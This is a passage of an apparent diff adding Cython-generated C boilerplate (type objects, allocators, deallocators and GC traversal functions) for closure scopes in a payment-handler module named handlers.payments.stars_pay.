__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection_spec = { + "handlers.payments.stars_pay.__pyx_scope_struct_1_process_amount_selection", + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.stars_pay.""__pyx_scope_struct_1_process_amount_selection", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount[8]; +static int __pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount[--__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount(PyObject *o) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount)))) { + __pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount[__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount++] = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount_spec = { + "handlers.payments.stars_pay.__pyx_scope_struct_2_process_enter_custom_amount", + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.stars_pay.""__pyx_scope_struct_2_process_enter_custom_amount", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input[8]; +static int __pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input[--__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input(PyObject *o) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_message); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input)))) { + __pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input[__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input++] = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_message) { + e = (*v)(p->__pyx_v_message, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input_spec = { + "handlers.payments.stars_pay.__pyx_scope_struct_3_process_custom_amount_input", + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.stars_pay.""__pyx_scope_struct_3_process_custom_amount_input", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query[8]; +static int __pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query[--__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query(PyObject *o) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_pre_checkout_query); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query)))) { + __pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query[__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query++] = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *)o; + if (p->__pyx_v_pre_checkout_query) { + e = (*v)(p->__pyx_v_pre_checkout_query, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query_spec = { + "handlers.payments.stars_pay.__pyx_scope_struct_4_on_pre_checkout_query", + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.stars_pay.""__pyx_scope_struct_4_on_pre_checkout_query", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + 